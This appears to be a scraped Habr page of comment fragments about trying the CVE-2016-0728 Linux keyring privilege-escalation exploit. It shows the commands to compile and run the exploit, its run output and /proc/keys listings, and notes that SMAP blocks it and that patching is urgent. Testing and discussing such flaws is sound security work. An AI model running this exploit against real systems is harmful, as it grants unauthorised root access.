Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
uname -a
Linux ubuntu 3.13.0-74-generic #118-Ubuntu SMP Thu Dec 17 22:52:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
sudo apt-get install libkeyutils-dev
gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
If you check:
root@eben:/proc# cat keys
075e0cb4 IR-Q--- 63 expd 3f3f3f3f 1000 1001 keyring PP1: empty
16477452 I--Q--- 3 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
19c6487a I--Q--- 21 perm 3f030000 1000 1001 keyring _ses: 1
2ad3452d I--Q--- 1 perm 1f3f0000 0 65534 keyring _uid_ses.0: 1
36d1aaca I--Q--- 2 perm 1f3f0000 0 65534 keyring _uid.0: empty
root@eben:/proc#
You will see it created the key. However if you check this — /proc/PID/smaps
example:
root@eben:/proc# find. -name «smaps»
./1/task/1/smaps
./1/smaps
./2/task/2/smaps
./2/smaps
./3/task/3/smaps
./3/smaps
./5/task/5/smaps
It's probably not going to work because SMAP ( Supervisor Mode Access Prevention ) is enabled within the running kernel. Which will only trigger /bin/sh with the current UID.
Hence in the release doc — Mitigations & Conclusions
The vulnerability affects any Linux Kernel version 3.8 and higher. SMEP & SMAP will make it difficult to exploit as well as SELinux on android devices. Maybe we’ll talk about tricks to bypass those mitigation in upcoming blogs, anyway the most important thing for now is to patch it as soon as you can.
keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name)
$uname -a
Linux darkstar 3.10.17 #2 SMP Wed Oct 23 16:34:38 CDT 2013 x86_64 Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz GenuineIntel GNU/Linux
В ядре Linux обнаружили уязвимость, позволяющую получить права суперпользователя